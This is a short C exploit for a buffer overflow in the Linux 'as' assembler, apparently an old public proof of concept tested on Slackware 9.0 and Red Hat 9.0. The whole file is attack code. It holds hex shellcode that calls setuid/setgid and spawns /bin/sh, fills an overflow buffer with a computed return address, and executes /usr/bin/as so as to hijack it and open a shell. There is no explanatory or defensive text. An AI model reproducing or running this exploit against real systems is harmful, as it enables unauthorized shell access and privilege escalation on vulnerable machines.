/* Linux 'as' buffer overflow

   Tested in Slackware 9.0 and Red Hat 9.0

   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/                     
                     
#include <stdio.h>
#include <strings.h>
#include <unistd.h>

#define BUFFER 2005

char shellcode[]=
  "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
  "\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  
int main(void) {

  char *env[3] = {shellcode, NULL};
  char buf[BUFFER];
  int *buffer = (int *) (buf+1);
  int i;
  int ret = 0xbffffffa - strlen(shellcode) - strlen("/usr/bin/as");

  for(i=0; i<=BUFFER; i+=4)
  *buffer++ = ret;

  execle("/usr/bin/as", "as", buf, NULL, env);
}

